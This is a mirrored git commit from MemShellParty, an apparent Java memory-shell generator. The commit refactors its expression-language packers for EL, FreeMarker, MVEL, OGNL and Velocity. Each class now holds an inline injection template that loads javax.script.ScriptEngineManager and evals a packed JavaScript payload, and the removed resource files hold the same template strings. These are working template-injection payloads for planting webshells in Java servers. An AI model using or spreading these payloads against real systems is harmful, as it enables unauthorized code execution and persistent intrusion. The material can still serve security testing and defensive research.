mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 15:31:53 +08:00
refactor: simplify expression packer
This commit is contained in:
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.packer.el;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packers;
|
||||||
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
@@ -14,20 +15,11 @@ import java.util.Objects;
|
|||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
public class ELPacker implements Packer {
|
public class ELPacker implements Packer {
|
||||||
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')";
|
||||||
String template = "";
|
|
||||||
|
|
||||||
public ELPacker() {
|
|
||||||
try {
|
|
||||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/ELScriptEngine.txt")), Charset.defaultCharset());
|
|
||||||
} catch (IOException ignored) {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
String script = scriptEnginePacker.pack(generateResult);
|
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||||
return template.replace("{{script}}", script);
|
return template.replace("{{script}}", script);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-11
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.packer.freemarker;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packers;
|
||||||
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
@@ -14,20 +15,11 @@ import java.util.Objects;
|
|||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
public class FreemarkerPacker implements Packer {
|
public class FreemarkerPacker implements Packer {
|
||||||
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
|
||||||
String template = "";
|
|
||||||
|
|
||||||
public FreemarkerPacker() {
|
|
||||||
try {
|
|
||||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/FreemarkerScriptEngine.txt")), Charset.defaultCharset());
|
|
||||||
} catch (IOException ignored) {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
String script = scriptEnginePacker.pack(generateResult);
|
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||||
return template.replace("{{script}}", script);
|
return template.replace("{{script}}", script);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -15,15 +15,7 @@ import java.util.Objects;
|
|||||||
* @since 2025/1/29
|
* @since 2025/1/29
|
||||||
*/
|
*/
|
||||||
public class MVELPacker implements Packer {
|
public class MVELPacker implements Packer {
|
||||||
String template = "";
|
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
|
||||||
|
|
||||||
public MVELPacker() {
|
|
||||||
try {
|
|
||||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/MVELScriptEngine.txt")), Charset.defaultCharset());
|
|
||||||
} catch (IOException ignored) {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
|
|||||||
@@ -14,15 +14,7 @@ import java.util.Objects;
|
|||||||
* @since 2024/12/14
|
* @since 2024/12/14
|
||||||
*/
|
*/
|
||||||
public class OGNLPacker implements Packer {
|
public class OGNLPacker implements Packer {
|
||||||
String template = "";
|
String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')";
|
||||||
|
|
||||||
public OGNLPacker() {
|
|
||||||
try {
|
|
||||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OGNLScriptEngine.txt")), Charset.defaultCharset());
|
|
||||||
} catch (IOException ignored) {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
|
|||||||
+3
-11
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.packer.velocity;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packers;
|
||||||
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||||
import org.apache.commons.io.IOUtils;
|
import org.apache.commons.io.IOUtils;
|
||||||
|
|
||||||
@@ -14,20 +15,11 @@ import java.util.Objects;
|
|||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
public class VelocityPacker implements Packer {
|
public class VelocityPacker implements Packer {
|
||||||
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
String template = "#set($x='') #set($cz = $x.class.forName('javax.script.ScriptEngineManager')) $cz.getDeclaredConstructor(null).newInstance().getEngineByName('js').eval('{{script}}')";
|
||||||
String template = "";
|
|
||||||
|
|
||||||
public VelocityPacker() {
|
|
||||||
try {
|
|
||||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/VelocityScriptEngine.txt")), Charset.defaultCharset());
|
|
||||||
} catch (IOException ignored) {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
String script = scriptEnginePacker.pack(generateResult);
|
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
|
||||||
return template.replace("{{script}}", script);
|
return template.replace("{{script}}", script);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1 +0,0 @@
|
|||||||
"".getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval('{{script}}')
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
#set($x='') #set($cz = $x.class.forName('javax.script.ScriptEngineManager')) $cz.getDeclaredConstructor(null).newInstance().getEngineByName('js').eval('{{script}}')
|
|
||||||
Reference in New Issue
Block a user